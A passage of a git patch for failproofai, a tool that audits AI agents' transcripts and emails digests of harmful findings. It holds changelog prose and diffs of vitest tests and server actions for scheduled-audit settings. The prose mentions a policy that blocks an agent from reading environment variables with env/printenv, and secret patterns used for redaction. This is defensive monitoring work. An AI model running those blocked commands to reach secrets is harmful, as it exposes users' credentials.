their audit — "can this happen automatically" and "will it tell me" — were answered on a separate page they had no reason to visit; the controls now sit under the report they act on, in section 05, as two panels: the scan settings at 1.3fr against the share card's 1fr. `/settings` is removed rather than redirected, because it held nothing else, and it leaves the navbar with the three pages that are actually destinations. The panel carries the daemon's state as a pill, because "scheduled scanning is on" is not the same claim as "scheduled scanning will happen", and a panel that hid the difference would present a stopped service as a feature that simply does not work. **Reminders are gone entirely** — `/api/auth/reminder`, the cadence buttons, `scheduleReminder`/`cancelReminder`, the reminder half of `/api/auth/status`, and the `readReminder`/`writeReminder` store. The api-server deleted `/v0/reminders` in the same release, so the client calling it would 404; more to the point the machine now audits itself and mails a digest when it finds harm, so there is nothing left to nudge anyone about. `audit/reminder.json` is retired to `legacy` and cleared by the next reset — the layout-4 step still MOVES `next-audit.json` there rather than deleting it, because a migration that destroys something a person chose is a different act from one that relocates it, even when the thing is obsolete. The email switch is separate from the scan switch and is the only one that needs a sign-in; turning it on while signed out opens the shared dialog and resumes, and the server action refuses an anonymous enable rather than storing a switch that reads as on and does nothing. Signing out turns emailed reports off with it, since the alternative is a machine that scans, finds something, and has nothing to send it with — discoverable only by noticing no email ever arrives. (#698) - Report harmful findings from a scheduled audit, so the machine can tell you what its agent did instead of asking you to go and look. A new `[audit] email_enabled` — a SEPARATE switch from `auto`, because `audit --help` promises the scan "runs fully offline — no account or network required" and that must stay true for anyone who wants scheduled scanning and nothing else. Off by default, like `auto`, and for a stronger version of the same reason: the failure direction is a machine mailing an account nobody pointed it at. **The window is applied per event, not through `--since`.** `--since` filters on transcript MTIME, which is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so `--since 7d` hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. The scan stays unfiltered and the window is applied here, against the timestamps `AuditCount` already carries. Where activity straddles the boundary the report counts the EXAMPLES inside it rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract; undercounting is the safe direction because the server's threshold reads these, and it can delay a digest but never invent one. **Harm is `deny` + `sanitize`**, plus `protect-env-vars` by hand: `severityForBuiltin` derives severity from the NAME PREFIX, so a policy that blocks `env`/`printenv` outright reads as hygiene, and its whole subject is an agent reaching for the environment — inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency. Examples are redacted before they leave, against `SECRET_PATTERNS` — now exported from `builtin-policies.ts`, so blocking and redacting share one definition of "secret" rather than growing a second list beside it that eventually disagrees. Masking runs BEFORE path-shortening, because shortening can cut a path mid-token and a credential sliced in half stops matching its own pattern and ships as a fragment. `~/.failproofai/audit/machine.json` holds the machine id and the digest watermark, both `identity` class: regenerate the id and the server sees a new machine on every logout, reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing `state/telemetry-id`, so opting into a digest never links the anonymous telemetry person to a verified address. The whole path runs in the audit CHILD, never the daemon — refresh rotation is theft-detecting, and keeping the token inside the audit lock is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing in it can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. (#698) diff --git a/__tests__/actions/update-scheduled-audit.test.ts b/__tests__/actions/update-scheduled-audit.test.ts index 9a36ef13..f7126b56 100644 --- a/__tests__/actions/update-scheduled-audit.test.ts +++ b/__tests__/actions/update-scheduled-audit.test.ts @@ -14,7 +14,15 @@ * server actions the dashboard calls (not a reimplementation), so CLI/dashboard * parity is real: both write through the same `updateConfig`. */ -import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; + +// `setAutoAuditAction(true)` now refuses without a session — scheduling and +// mailing are one decision, so a timer with nobody to tell is a switch that +// reads as on and produces nothing. These tests are about the CONFIG WRITE, so +// the session check is stubbed to "signed in"; the refusal itself is covered in +// the settings component tests. +const { whoAmIMock } = vi.hoisted(() => ({ whoAmIMock: vi.fn() })); +vi.mock("../../lib/auth/auth-store", () => ({ whoAmI: whoAmIMock })); import { mkdtempSync, readFileSync, rmSync, mkdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -33,6 +41,10 @@ beforeEach(() => { home = mkdtempSync(resolve(tmpdir(), "fpai-settings-write-")); process.env.FAILPROOFAI_HOME = home; mkdirSync(home, { recursive: true }); + whoAmIMock.mockReset().mockResolvedValue({ + me: { id: "u1", email: "sidd@exosphere.host", status: "active", created_at: "" }, + auth: { user: { id: "u1", email: "sidd@exosphere.host" } }, + }); }); afterEach(() => { @@ -79,7 +91,7 @@ describe("scheduled-audit write actions", () => { expect(readConfig().telemetry.enabled).toBe(false); expect(JSON.parse(readFileSync(configFile(), "utf8")).telemetry).toEqual({ enabled: false }); // And the audit write actually landed alongside it. - expect(readConfig().audit).toEqual({ auto: true, intervalDays: 14, emailEnabled: false }); + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 14 }); }); it("preserves an unrelated cloud/collector setting across a scan write", async () => { diff --git a/__tests__/audit/come-back-better-section.test.tsx b/__tests__/audit/come-back-better-section.test.tsx index 2c3b6cea..10ddc2fc 100644 --- a/__tests__/audit/come-back-better-section.test.tsx +++ b/__tests__/audit/come-back-better-section.test.tsx @@ -1,58 +1,28 @@ /** - * Section 05 — the scheduled-audit panel and the invite, which share one - * AuthDialog. + * Section 05 — SPREAD THE AUDIT. * - * Two things must differ by which control opened it: the dialog's COPY, and — - * the part this file was originally missing — what happens once auth SUCCEEDS. - * The copy cases were the whole of it, and they passed happily while signing in - * from the invite button set a reminder nobody asked for and never opened the - * invite dialog. A test that pins the label and not the effect is exactly as - * green on the broken version as on the fixed one. + * The scheduled-audit controls moved to /settings, so this section now has one + * job and the AuthDialog has one caller. That is worth testing precisely + * because the bug this section shipped was a SHARED dialog whose success + * handler assumed which control had opened it: signing in from "invite a + * friend" set a 7-day reminder nobody asked for and never opened the invite. + * + * With one caller the resume is unambiguous — and these assert the EFFECT, not + * just the copy, because the copy-only tests that used to live here were + * exactly as green on the broken version as on the fixed one. */ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; import { render, screen, fireEvent, waitFor, cleanup } from "@testing-library/react"; -const { captureMock, getViewMock, setAutoMock, setIntervalMock, setEmailMock } = vi.hoisted(() => ({ - captureMock: vi.fn(), - getViewMock: vi.fn(), - setAutoMock: vi.fn(), - setIntervalMock: vi.fn(), - setEmailMock: vi.fn(), -})); - +const { captureMock } = vi.hoisted(() => ({ captureMock: vi.fn() })); vi.mock("@/contexts/PostHogContext", () => ({ usePostHog: () => ({ capture: captureMock }), })); -vi.mock("@/app/actions/get-scheduled-audit", () => ({ - getScheduledAuditAction: getViewMock, -})); -vi.mock("@/app/actions/update-scheduled-audit", () => ({ - setAutoAuditAction: setAutoMock, - setAuditIntervalAction: setIntervalMock, - setAuditEmailAction: setEmailMock, -})); -vi.mock("@/app/components/toast", () => ({ toast: vi.fn() })); import { ComeBackBetterSection } from "@/app/audit/_components/come-back-better-section"; -const noop = () => {}; - -/** The scheduled-audit view, signed out and idle unless overridden. */ -function view(over: Record = {}) { - return { - auto: false, - intervalDays: 7, - emailEnabled: false, - signedInAs: null, - daemon: "running", - schedule: null, - lastResultAt: null, - ...over, - }; -} - /** Records every fetch and answers the auth routes the dialog drives. */ -function stubFetch() { +function stubFetch(authenticated = false) { const calls: { url: string; method: string }[] = []; vi.stubGlobal( "fetch", @@ -64,6 +34,13 @@ function stubFetch() { status: 200, headers: { "content-type": "application/json" }, }); + if (url.includes("/api/auth/status")) { + return json( + authenticated + ? { authenticated: true, user: { id: "u1", email: "sidd@exosphere.host" } } + : { authenticated: false }, + ); + } if (url.includes("/api/auth/login-request")) { return json({ status: "code_sent", expires_in: 600, resend_available_in: 30 }); } @@ -76,7 +53,6 @@ function stubFetch() { return calls; } -/** Drive the shared AuthDialog through email → code → verified. */ async function completeAuth() { fireEvent.change(await screen.findByPlaceholderText("you@yourdomain.com"), { target: { value: "sidd@exosphere.host" }, @@ -86,144 +62,69 @@ async function completeAuth() { fireEvent.click(screen.getByRole("button", { name: "verify" })); } -beforeEach(() => { - getViewMock.mockReset().mockResolvedValue(view()); - setAutoMock.mockReset().mockResolvedValue({ auto: true }); - setIntervalMock.mockReset().mockResolvedValue({ intervalDays: 7 }); - setEmailMock.mockReset().mockResolvedValue({ emailEnabled: true }); - stubFetch(); -}); - afterEach(() => { cleanup(); vi.unstubAllGlobals(); captureMock.mockClear(); }); -describe("scheduled audit panel", () => { - it("shows the daemon state, because 'on' without a daemon runs nothing", async () => { - getViewMock.mockResolvedValue(view({ daemon: "running" })); - render(); - expect(await screen.findByText("DAEMON RUNNING")).toBeInTheDocument(); - }); - - it("warns when scanning is on but the daemon is not running", async () => { - // "on but silent" is the state a panel that hid this would produce, and it - // presents to the user as the feature simply not working. - getViewMock.mockResolvedValue(view({ auto: true, daemon: "not-installed" })); - render(); - expect(await screen.findByText(/isn't installed/)).toBeInTheDocument(); - }); - - it("toggles scheduled scanning without asking anyone to sign in", async () => { - // The offline promise: `auto` scans locally and needs no account. - render(); - const toggle = await screen.findByRole("switch", { name: "turn on scheduled scanning" }); - fireEvent.click(toggle); - await waitFor(() => expect(setAutoMock).toHaveBeenCalledWith(true)); - // No dialog, because nothing here needs an identity. - expect(screen.queryByPlaceholderText("you@yourdomain.com")).toBeNull(); - }); +describe("section 05 is only the share", () => { + beforeEach(() => stubFetch(false)); - it("warns when emailed reports are on but the machine is signed out", async () => { - // Scans keep running and nothing can be sent — the exact state the reporter - // surfaces as "signed-out", made visible where it can be fixed. - getViewMock.mockResolvedValue(view({ emailEnabled: true, signedInAs: null })); - render(); - expect(await screen.findByText(/signed out — sign in to resume/)).toBeInTheDocument(); + it("says SPREAD THE AUDIT and offers the invite", async () => { + render(); + expect(await screen.findByRole("heading", { name: "spread the audit" })).toBeInTheDocument(); + expect(screen.getByText("invite a friend")).toBeInTheDocument(); }); - it("shows who a digest would go to when signed in", async () => { - getViewMock.mockResolvedValue( - view({ emailEnabled: true, signedInAs: { id: "u1", email: "sidd@exosphere.host" } }), - ); - render(); - expect(await screen.findByText("sidd@exosphere.host")).toBeInTheDocument(); + it("carries no scheduled-audit controls at all", async () => { + // They are machine configuration and live on /settings now. A report should + // not end in a settings form. + render(); + await screen.findByText("invite a friend"); + expect(screen.queryByRole("switch")).toBeNull(); + expect(screen.queryByText(/scan this machine/i)).toBeNull(); + expect(screen.queryByText(/DAEMON/i)).toBeNull(); }); }); -describe("the shared AuthDialog — copy", () => { - it("shows invite copy when an unauthed user clicks 'invite a friend'", async () => { - render(); +describe("the invite", () => { + it("asks an unauthed user to sign in, then opens the invite dialog", async () => { + stubFetch(false); + render(); fireEvent.click(await screen.findByText("invite a friend")); - expect(await screen.findByText("Oops! Login required")).toBeInTheDocument(); - expect(screen.queryByText("where should the report go?")).toBeNull(); - }); - it("shows report copy when an unauthed user turns emailed reports on", async () => { - render(); - fireEvent.click(await screen.findByRole("switch", { name: "turn on emailed reports" })); - expect(await screen.findByText("where should the report go?")).toBeInTheDocument(); - expect(screen.queryByText("Oops! Login required")).toBeNull(); - }); -}); - -describe("the shared AuthDialog — effect", () => { - it("signing in from 'invite a friend' opens the invite dialog and enables no email", async () => { - // The regression this file exists for. `handleAuthed` was shared by both - // controls and always did the other one's work. - render(); - fireEvent.click(await screen.findByText("invite a friend")); - await screen.findByText("Oops! Login required"); + expect(await screen.findByText("Oops! Login required")).toBeInTheDocument(); await completeAuth(); + // The one thing the dialog can be resuming. expect( await screen.findByPlaceholderText(/alice@x\.com/, {}, { timeout: 3000 }), ).toBeInTheDocument(); - expect(setEmailMock).not.toHaveBeenCalled(); }); - it("signing in from the email switch enables reports and opens no invite dialog", async () => { - // The other direction, so the fix cannot be "never enable anything". - render(); - fireEvent.click(await screen.findByRole("switch", { name: "turn on emailed reports" })); - await screen.findByText("where should the report go?"); - await completeAuth(); - - await waitFor(() => expect(setEmailMock).toHaveBeenCalledWith(true)); - expect(screen.queryByPlaceholderText(/alice@x\.com/)).toBeNull(); - }); - - it("dismissing abandons the intent rather than deferring it", async () => { - // Otherwise the NEXT sign-in, from any control, resumes something the user - // already walked away from. - render(); - fireEvent.click(await screen.findByRole("switch", { name: "turn on emailed reports" })); - await screen.findByText("where should the report go?"); - fireEvent.click(screen.getByRole("button", { name: "cancel" })); - + it("goes straight to the invite dialog when already signed in", async () => { + stubFetch(true); + render(); + await waitFor(() => expect(screen.getByText("invite a friend")).toBeInTheDocument()); fireEvent.click(screen.getByText("invite a friend")); - await screen.findByText("Oops! Login required"); - await completeAuth(); - expect( - await screen.findByPlaceholderText(/alice@x\.com/, {}, { timeout: 3000 }), - ).toBeInTheDocument(); - expect(setEmailMock).not.toHaveBeenCalled(); - }); - - it("an already-signed-in user goes straight to the invite dialog", async () => { - getViewMock.mockResolvedValue( - view({ signedInAs: { id: "u1", email: "sidd@exosphere.host" } }), - ); - render(); - fireEvent.click(await screen.findByText("invite a friend")); expect(await screen.findByPlaceholderText(/alice@x\.com/)).toBeInTheDocument(); expect(screen.queryByText("Oops! Login required")).toBeNull(); }); -}); -describe("signing out", () => { - it("turns emailed reports off with it", async () => { - // Leaving the switch on would leave a machine that scans, finds something, - // and has nothing to send it with — visible only by noticing no email ever - // arrives. - getViewMock.mockResolvedValue( - view({ emailEnabled: true, signedInAs: { id: "u1", email: "sidd@exosphere.host" } }), + it("does not downgrade to signed-out when the status probe fails", async () => { + // A failed probe is not evidence of a signed-out user, and treating it as + // one would prompt for a login the person already completed. + vi.stubGlobal( + "fetch", + vi.fn(async (input: RequestInfo | URL) => { + if (String(input).includes("/api/auth/status")) throw new Error("network down"); + return new Response("{}", { status: 200, headers: { "content-type": "application/json" } }); + }), ); - setEmailMock.mockResolvedValue({ emailEnabled: false }); - render(); - fireEvent.click(await screen.findByRole("button", { name: "sign out" })); - await waitFor(() => expect(setEmailMock).toHaveBeenCalledWith(false)); + render(); + // Still renders and still offers the invite rather than erroring out. + expect(await screen.findByText("invite a friend")).toBeInTheDocument(); }); }); diff --git a/__tests__/audit/report-harm.test.ts b/__tests__/audit/report-harm.test.ts index 0107c4e7..36ef4c14 100644 --- a/__tests__/audit/report-harm.test.ts +++ b/__tests__/audit/report-harm.test.ts @@ -68,7 +68,8 @@ function result(): AuditResult { } function enableEmail(on: boolean) { - readConfigMock.mockReturnValue({ audit: { auto: true, intervalDays: 7, emailEnabled: on } }); + // ONE switch now: `auto` means "scan on a timer AND tell me". + readConfigMock.mockReturnValue({ audit: { auto: on, intervalDays: 7 } }); } beforeEach(() => { @@ -95,7 +96,7 @@ afterEach(() => { }); describe("reportHarm — the opt-in", () => { - it("does nothing at all when emailed reports are off", async () => { + it("does nothing at all when scheduled audits are off", async () => { // The majority case. No token read, no machine id minted, no request. enableEmail(false); expect(await reportHarm(result())).toEqual({ kind: "disabled" }); diff --git a/__tests__/audit/settings-scheduled-audit.test.tsx b/__tests__/audit/settings-scheduled-audit.test.tsx new file mode 100644 index 00000000..04a4cf58 --- /dev/null +++ b/__tests__/audit/settings-scheduled-audit.test.tsx @@ -0,0 +1,238 @@ +/** + * /settings — the scheduled-audit panel. + * + * These moved here with the controls. The properties worth pinning are the ones + * that decide whether a person can tell what their machine is actually doing: + * that "on" is distinguishable from "on but nothing will run", that a signed-out + * machine says so instead of quietly not mailing, and that turning it on cannot + * be done without somewhere to send the report. + */ +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { render, screen, fireEvent, waitFor, cleanup } from "@testing-library/react"; + +const { getViewMock, setAutoMock, setIntervalMock, triggerRunMock, toastMock, captureMock } = + vi.hoisted(() => ({ + getViewMock: vi.fn(), + setAutoMock: vi.fn(), + setIntervalMock: vi.fn(), + triggerRunMock: vi.fn(), + toastMock: vi.fn(), + // HOISTED, so `capture` keeps ONE identity across renders. AuthDialog lists + // it in a useEffect dep array, so returning a fresh `vi.fn()` from the hook + // re-fires that effect on every render and loops until the worker dies of a + // heap exhaustion 4GB later — which is exactly how this file first failed. + // The real `usePostHog` returns a useCallback-stable fn. + captureMock: vi.fn(), + })); + +vi.mock("@/app/actions/get-scheduled-audit", () => ({ getScheduledAuditAction: getViewMock })); +vi.mock("@/app/actions/update-scheduled-audit", () => ({ + setAutoAuditAction: setAutoMock, + setAuditIntervalAction: setIntervalMock, +})); +vi.mock("@/app/audit/_components/rerun-button", () => ({ + triggerRun: triggerRunMock, + RerunError: class RerunError extends Error { + kind = "failed"; + }, +})); +vi.mock("@/app/components/toast", () => ({ toast: toastMock })); +vi.mock("@/contexts/PostHogContext", () => ({ usePostHog: () => ({ capture: captureMock }) })); + +import SettingsClient from "@/app/settings/settings-client"; + +const DAY = 86_400_000; + +function view(over: Record = {}) { + return { + auto: false, + intervalDays: 7, + signedInAs: null, + daemon: "running", + schedule: null, + lastResultAt: null, + ...over, + }; +} + +/** + * Render the way the real page does: the SERVER seeds `initial`, and the client + * refreshes from the same action on mount. Passing `initial` here is what makes + * these tests exercise the shipped path — a client-only render would test a + * first frame that no user ever sees. + */ +function renderSettings(initial: ReturnType | null = null) { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + return render(); +} + +/** Whatever `getScheduledAuditAction` was last told to resolve with. */ +let lastView: ReturnType | null = null; + +beforeEach(() => { + lastView = view(); + getViewMock.mockReset().mockResolvedValue(view()); + setAutoMock.mockReset().mockResolvedValue({ auto: true }); + setIntervalMock.mockReset().mockResolvedValue({ intervalDays: 7 }); + triggerRunMock.mockReset().mockResolvedValue(undefined); + toastMock.mockReset(); + vi.stubGlobal("fetch", vi.fn(async () => new Response("{}", { status: 200 }))); +}); + +afterEach(() => { + cleanup(); + vi.unstubAllGlobals(); +}); + +describe("daemon state", () => { + it("shows the service as running", async () => { + renderSettings(); + expect(await screen.findByText("DAEMON RUNNING")).toBeInTheDocument(); + }); + + it("says plainly when scanning is on but nothing will run", async () => { + // "On but silent" is the state a panel that hid the service would produce, + // and to the user it just looks like the feature does not work. + lastView = view({ auto: true, daemon: "not-installed", signedInAs: { id: "u", email: "a@b.c" } }); + getViewMock.mockResolvedValue(lastView); + renderSettings(); + expect(await screen.findByText(/isn't installed/)).toBeInTheDocument(); + expect(screen.getByText("NOT INSTALLED")).toBeInTheDocument(); + }); + + it("explains an unsupported platform rather than blaming the service", async () => { + lastView = view({ auto: true, daemon: "unsupported-platform", signedInAs: { id: "u", email: "a@b.c" } }); + getViewMock.mockResolvedValue(lastView); + renderSettings(); + expect(await screen.findByText(/isn't available on this platform/)).toBeInTheDocument(); + }); +}); + +describe("the switch", () => { + it("asks for an email before turning on, because there must be somewhere to send", async () => { + renderSettings(); + fireEvent.click(await screen.findByRole("switch", { name: "turn on scheduled audits" })); + expect(await screen.findByText("where should the report go?")).toBeInTheDocument(); + expect(setAutoMock).not.toHaveBeenCalled(); + }); + + it("turns on directly when already signed in", async () => { + lastView = view({ signedInAs: { id: "u", email: "sidd@exosphere.host" } }); + getViewMock.mockResolvedValue(lastView); + renderSettings(); + fireEvent.click(await screen.findByRole("switch", { name: "turn on scheduled audits" })); + await waitFor(() => expect(setAutoMock).toHaveBeenCalledWith(true)); + expect(screen.queryByText("where should the report go?")).toBeNull(); + }); + + it("turns OFF without asking anything", async () => { + // An expired session must never trap somebody into keeping a feature they + // are trying to disable. + lastView = view({ auto: true, signedInAs: null }); + getViewMock.mockResolvedValue(lastView); + setAutoMock.mockResolvedValue({ auto: false }); + renderSettings(); + fireEvent.click(await screen.findByRole("switch", { name: "turn off scheduled audits" })); + await waitFor(() => expect(setAutoMock).toHaveBeenCalledWith(false)); + }); + + it("reverts the toggle when the write fails", async () => { + lastView = view({ signedInAs: { id: "u", email: "a@b.c" } }); + getViewMock.mockResolvedValue(lastView); + setAutoMock.mockRejectedValue(new Error("nope")); + renderSettings(); + const sw = await screen.findByRole("switch", { name: "turn on scheduled audits" }); + fireEvent.click(sw); + await waitFor(() => expect(toastMock).toHaveBeenCalledWith("could not turn that on.")); + expect(await screen.findByRole("switch", { name: "turn on scheduled audits" })).toBeInTheDocument(); + }); +}); + +describe("signed-out with the timer on", () => { + it("names the state instead of quietly not mailing", async () => { + // The whole point of separating "auth gates setup" from "auth gates + // operation": the scans keep running, so the panel has to say why no + // digest is arriving. + lastView = view({ auto: true, signedInAs: null }); + getViewMock.mockResolvedValue(lastView); + renderSettings(); + expect(await screen.findByText(/signed out — scans continue, digests are paused/)).toBeInTheDocument(); + }); + + it("shows the destination when signed in", async () => { + getViewMock.mockResolvedValue( + view({ auto: true, signedInAs: { id: "u", email: "sidd@exosphere.host" } }), + ); + renderSettings(); + expect(await screen.findByText("sidd@exosphere.host")).toBeInTheDocument(); + }); +}); + +describe("the interval", () => { + it("reflects what the config stored, not what was typed", async () => { + // The 1..90 clamp lives in readIntervalDays and is deliberately not + // duplicated in the UI — so a hand-typed 3650 must come back as 90. + lastView = view({ signedInAs: { id: "u", email: "a@b.c" } }); + getViewMock.mockResolvedValue(lastView); + setIntervalMock.mockResolvedValue({ intervalDays: 90 }); + renderSettings(); + const input = await screen.findByLabelText("days between scheduled scans"); + fireEvent.change(input, { target: { value: "3650" } }); + fireEvent.blur(input); + await waitFor(() => expect(input).toHaveValue(90)); + }); +}); + +describe("the schedule tape", () => { + it("draws only when there are two real ends to sit between", async () => { + // A machine that has never run a scheduled scan is not inside an interval, + // and a rail claiming otherwise would be decoration. + getViewMock.mockResolvedValue( + view({ auto: true, signedInAs: { id: "u", email: "a@b.c" }, schedule: null }), + ); + const { container } = renderSettings(); + await screen.findByRole("switch"); + expect(container.querySelector(".tape")).toBeNull(); + }); + + it("draws between the last scan and the next", async () => { + const now = Date.now(); + getViewMock.mockResolvedValue( + view({ + auto: true, + signedInAs: { id: "u", email: "a@b.c" }, + schedule: { + lastRunAtMs: now - DAY, + nextDueAtMs: now + 6 * DAY, + lastAttemptAtMs: now - DAY, + lastExitCode: 0, + schemaAhead: false, + }, + }), + ); + const { container } = renderSettings(); + await screen.findByRole("switch"); + await waitFor(() => expect(container.querySelector(".tape")).not.toBeNull()); + // Asserted as a POSITION, not a string. The label is `next · {value}` — + // two text nodes in one span, so a plain text matcher never sees it whole — + // and `now` is stamped a moment AFTER the fixture's timestamps, so a + // 6-day gap legitimately renders "5d 23h". Pinning the exact wording would + // be pinning a clock race; what the tape has to get right is where the + // marker sits, which is one day into a seven-day span. + expect(container.querySelector(".tape-next")?.textContent).toMatch(/next · \d+d/); + const fill = container.querySelector(".tape-fill"); + const pct = Number.parseFloat(fill?.style.width ?? "0"); + expect(pct).toBeGreaterThan(10); + expect(pct).toBeLessThan(20); + }); +}); + +describe("run a scan now", () => { + it("runs regardless of whether scheduling is on", async () => { + // Running one by hand is not the same decision as putting one on a timer, + // and needs no account. + renderSettings(); + fireEvent.click(await screen.findByRole("button", { name: /run a scan now/ })); + await waitFor(() => expect(triggerRunMock).toHaveBeenCalled()); + }); +}); diff --git a/__tests__/hooks/fp-home.test.ts b/__tests__/hooks/fp-home.test.ts index 8a03ada6..cc7c445e 100644 --- a/__tests__/hooks/fp-home.test.ts +++ b/__tests__/hooks/fp-home.test.ts @@ -446,7 +446,7 @@ describe("config.toml", () => { redact: "off" as const, environment: "prod", machineId: "box-1", }, telemetry: { enabled: true }, - audit: { auto: true, intervalDays: 14, emailEnabled: false }, + audit: { auto: true, intervalDays: 14 }, }; writeConfig(cfg); expect(readConfig()).toEqual(cfg); @@ -485,29 +485,29 @@ describe("config.toml", () => { // The opposite posture to telemetry directly above: off, and deliberately // visible, because it is a switch the user is meant to find and flip. It is // off because the scan reads the contents of every transcript on disk. - expect(DEFAULT_CONFIG.audit).toEqual({ auto: false, intervalDays: 7, emailEnabled: false }); + expect(DEFAULT_CONFIG.audit).toEqual({ auto: false, intervalDays: 7 }); writeConfig(DEFAULT_CONFIG); // Both keys on disk, unconditionally. The layout-2 file made this visible // with a comment block; JSON cannot carry one, so what survives is the // weaker but still real guarantee: every field the struct holds is written, // so no later regeneration can silently drop one. const written = JSON.parse(readFileSync(H.configFile(), "utf8")); - expect(written.audit).toEqual({ auto: false, interval_days: 7, email_enabled: false }); + expect(written.audit).toEqual({ auto: false, interval_days: 7 }); }); it("an enabled auto-audit SURVIVES a rewrite", () => { // writeConfig regenerates the whole file, so a key it does not emit is a key // it silently deletes — the failure that would turn somebody's weekly audit // off the next time any unrelated setting changed. - writeConfig({ ...DEFAULT_CONFIG, audit: { auto: true, intervalDays: 30, emailEnabled: true } }); - expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30, emailEnabled: true }); + writeConfig({ ...DEFAULT_CONFIG, audit: { auto: true, intervalDays: 30 } }); + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30 }); writeConfig({ ...readConfig(), collector: { ...DEFAULT_CONFIG.collector, environment: "ci" } }); // `emailEnabled` is asserted alongside `auto` deliberately: it is the switch // that makes anything leave the machine, so a rewrite silently dropping it // would turn emailed reports off with no notice — the same class of failure // this test was written for, on the newer of the two keys. - expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30, emailEnabled: true }); + expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30 }); }); it("only an explicit true switches the auto-audit on", () => { @@ -539,7 +539,7 @@ describe("config.toml", () => { writeConfig({ ...DEFAULT_CONFIG, telemetry: { enabled: false } }); updateConfig({ audit: { auto: true } }); const after = readConfig(); - expect(after.audit).toEqual({ auto: true, intervalDays: 7, emailEnabled: false }); + expect(after.audit).toEqual({ auto: true, intervalDays: 7 }); expect(after.telemetry.enabled).toBe(false); // untouched }); @@ -561,7 +561,7 @@ describe("config.toml", () => { mode: "cloud" as const, daemon: { configured: true }, telemetry: { enabled: false }, - audit: { auto: true, intervalDays: 30, emailEnabled: false }, + audit: { auto: true, intervalDays: 30 }, collector: { ...DEFAULT_CONFIG.collector, environment: "ci", machineId: "m-1" }, }; writeConfig(config); diff --git a/__tests__/hooks/harness-extra-paths.test.ts b/__tests__/hooks/harness-extra-paths.test.ts index 786dc0c9..2f0c5729 100644 --- a/__tests__/hooks/harness-extra-paths.test.ts +++ b/__tests__/hooks/harness-extra-paths.test.ts @@ -119,7 +119,7 @@ describe("harness extra paths", () => { redact: "off", }, telemetry: { enabled: false }, - audit: { auto: true, intervalDays: 14, emailEnabled: false }, + audit: { auto: true, intervalDays: 14 }, }); addPath("codex", "alt=/mnt/other/.codex/sessions"); @@ -131,7 +131,7 @@ describe("harness extra paths", () => { expect(cfg.collector.machineId).toBe("m-123"); expect(cfg.collector.redact).toBe("off"); expect(cfg.telemetry.enabled).toBe(false); - expect(cfg.audit).toEqual({ auto: true, intervalDays: 14, emailEnabled: false }); + expect(cfg.audit).toEqual({ auto: true, intervalDays: 14 }); expect(cfg.collector.sources?.codex.extraPaths).toEqual(["alt=/mnt/other/.codex/sessions"]); }); diff --git a/app/actions/get-scheduled-audit.ts b/app/actions/get-scheduled-audit.ts index a860c2ac..9efa09b7 100644 --- a/app/actions/get-scheduled-audit.ts +++ b/app/actions/get-scheduled-audit.ts @@ -8,9 +8,9 @@ * ## CLI ⟷ dashboard parity (state it here so the two cannot silently diverge) * * Every field this returns is the same `config.toml` / state the CLI reads: - * - `auto` ⟷ `config.toml [audit] auto` (readConfig / updateConfig; - * the same key the `failproofai config` wizard sets) - * - `intervalDays` ⟷ `config.toml [audit] interval_days` (readConfig owns the + * - `auto` ⟷ `config.json [audit] auto` (readConfig / updateConfig — + * the same call the CLI makes, so the two cannot diverge) + * - `intervalDays` ⟷ `config.json [audit] interval_days` (readConfig owns the * 1..90 clamp — see fp-config.readIntervalDays) * - `daemon` ⟷ `systemctl status failproofaid@` (daemonServiceStatus) * - `schedule` ⟷ `state/audit-schedule.json` (daemon-written; readAuditSchedule) @@ -37,8 +37,6 @@ export interface ScheduledAuditView { auto: boolean; /** `[audit] interval_days`, already clamped to 1..90 by readConfig. */ intervalDays: number; - /** `[audit] email_enabled` — whether a scan that finds harm mails a digest. */ - emailEnabled: boolean; /** * Who this machine would mail, or null when signed out. * @@ -69,7 +67,6 @@ export async function getScheduledAuditAction(): Promise { return { auto: config.audit.auto, intervalDays: config.audit.intervalDays, - emailEnabled: config.audit.emailEnabled, signedInAs: auth ? { id: auth.user.id, email: auth.user.email } : null, daemon: daemonServiceStatus(), schedule: schedule diff --git a/app/actions/update-scheduled-audit.ts b/app/actions/update-scheduled-audit.ts index f6dc8041..1e7ac8b5 100644 --- a/app/actions/update-scheduled-audit.ts +++ b/app/actions/update-scheduled-audit.ts @@ -1,16 +1,19 @@ "use server"; /** - * Write side of the /settings "Scheduled audit" section. Every write goes - * through `updateConfig` — never a raw file write — so the layout-2 config - * helpers stay the single writer of `config.toml` and the dashboard can never - * disagree with what the CLI reads. + * Write side of the /settings scheduled-audit panel. Every write goes through + * `updateConfig` — never a raw file write — so `fp-config` stays the single + * writer of `config.json` and the dashboard can never disagree with what the + * CLI reads. * * ## CLI ⟷ dashboard parity - * - `setAutoAuditAction(enabled)` ⟷ `[audit] auto` (updateConfig) - * - `setAuditIntervalAction(days)` ⟷ `[audit] interval_days` (updateConfig) - * Both keys are exactly what the `failproofai config` wizard writes, so a value - * set here is indistinguishable from one set on the CLI. + * - `setAutoAuditAction(enabled)` ⟷ `[audit] auto` + * - `setAuditIntervalAction(days)` ⟷ `[audit] interval_days` + * + * Both go through the same `updateConfig` the CLI uses, so a value set on + * either side is byte-identical. That is the whole mechanism behind "the two + * surfaces are always in sync": there is one file, one writer function, and no + * second copy of the state to drift. */ import { readConfig, updateConfig } from "@/src/hooks/fp-config"; @@ -19,10 +22,29 @@ import { whoAmI } from "@/lib/auth/auth-store"; /** * Turn the scheduled scan on or off. * + * Turning it ON is refused without a session. Scheduling and mailing are ONE + * decision — the reason to put a scan on a timer is to be told what it found — + * so a machine with the timer set and nobody to tell is a switch that reads as + * 